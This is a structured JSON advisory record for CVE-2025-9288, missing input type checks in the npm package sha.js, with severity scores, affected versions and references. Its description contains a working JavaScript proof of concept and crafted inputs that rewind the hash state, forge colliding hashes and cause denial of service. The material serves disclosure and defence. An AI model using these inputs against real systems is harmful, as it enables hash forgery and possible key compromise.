{"id":"CVE-2025-9288","aliases":["CVE-2025-9288","GHSA-95m3-7q98-8xr5"],"related":[],"kind":"vulnerability","state":"published","title":"Missing type checks leading to hash rewind and passing on crafted data","summary":"Improper Input Validation vulnerability in sha.js allows Input Data Manipulation.This issue affects sha.js: through 2.4.11.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Improper Input Validation vulnerability in sha.js allows Input Data Manipulation.This issue affects sha.js: through 2.4.11.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nThis is the same as [GHSA-cpq7-6gpm-g9rc](https://github.com/browserify/cipher-base/security/advisories/GHSA-cpq7-6gpm-g9rc) but just for `sha.js`, as it has its own implementation.\n\nMissing input type checks can allow types other than a well-formed `Buffer` or `string`, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.\n\n### Details\n\nSee PoC\n\n### PoC\n```js\nconst forgeHash = (data, payload) => JSON.stringify([payload, { length: -payload.length}, [...data]])\n\nconst sha = require('sha.js')\nconst { randomBytes } = require('crypto')\n\nconst sha256 = (...messages) => {\n  const hash = sha('sha256')\n  messages.forEach((m) => hash.update(m))\n  return hash.digest('hex')\n}\n\nconst validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever\n\nconst payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')\nconst receivedMessage = JSON.parse(payload) // e.g. over network, whatever\n\nconsole.log(sha256(...validMessage))\nconsole.log(sha256(...receivedMessage))\nconsole.log(receivedMessage[0])\n```\n\nOutput:\n```\n638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4\n638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4\nHashed input means safe\n```\n\nOr just:\n```console\n> require('sha.js')('sha256').update('foo').digest('hex')\n'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'\n> require('sha.js')('sha256').update('fooabc').update({length:-3}).digest('hex')\n'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'\n```\n\n### Impact\n\n1. Hash state rewind on `{length: -x}`. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash.\n2. Value miscalculation, e.g. a collision is generated by `{ length: buf.length, ...buf, 0: buf[0] + 256 }`\n    This will result in the same hash as of `buf`, but can be treated by other code differently (e.g. bn.js)\n4. DoS on `{length:'1e99'}`\n5. On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration)","format":"markdown","source":"ghsa"},{"lang":"es","text":"La vulnerabilidad de validación de entrada incorrecta en sha.js permite la manipulación de datos de entrada. Este problema afecta a sha.js: hasta 2.4.11.","source":"nvd"}],"published":"2025-08-20T21:59:44.728Z","modified":"2026-09-10T03:50:26.795Z","severity":{"scorer":"harborist","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N","score":9.1,"rating":"CRITICAL"},"severities":[{"scorer":"harborist","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N","score":9.1,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","score":9.1,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N","rating":"CRITICAL"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","score":9.1,"rating":"CRITICAL"}],"cwes":["CWE-20"],"affected":[{"ranges":[{"type":"semver","introduced":"0","lastAffected":"2.4.11","status":"affected"}],"package":"sha.js","repo":"https://github.com/browserify/sha.js","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"2.4.12"}],"ecosystem":"npm","package":"sha.js","purl":"pkg:npm/sha.js","source":"ghsa"},{"ranges":[{"status":"affected","lastAffected":"2.4.11"}],"vendor":"browserify","product":"sha.js","cpe":"cpe:2.3:a:browserify:sha.js:*:*:*:*:*:node.js:*:*","source":"nvd"}],"references":[{"url":"https://github.com/browserify/sha.js/security/advisories/GHSA-95m3-7q98-8xr5","tags":["exploit","vendor-advisory","web"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/browserify/sha.js/pull/78","tags":["issue-tracking","patch","web"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2025-9287","tags":["related","third-party-advisory","web"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://lists.debian.org/debian-lts-announce/2025/09/msg00016.html","tags":["web"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-9288","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/browserify/sha.js/commit/f2a258e9f2d0fcd113bfbaa49706e1ac0d979ba5","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/browserify/sha.js","tags":["package"],"sources":["ghsa"]}],"credits":["https://github.com/ChALkeR","https://github.com/ljharb"],"assigner":"harborist","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2025-08-21T13:25:33.531Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2025-9288","url":"https://www.cve.org/CVERecord?id=CVE-2025-9288","licence":"CVE Terms of Use","modified":"2025-11-03T18:14:17.994Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-95m3-7q98-8xr5","url":"https://github.com/advisories/GHSA-95m3-7q98-8xr5","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:26.795Z"},{"source":"nvd","name":"NVD","id":"CVE-2025-9288","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-9288","licence":"Public domain","modified":"2026-06-17T10:08:40.820Z"}],"updatedAt":"2026-11-25T22:59:03.448Z","epss":{"score":0.00814,"percentile":0.58181,"date":"2026-12-01T12:00:22.000Z"}}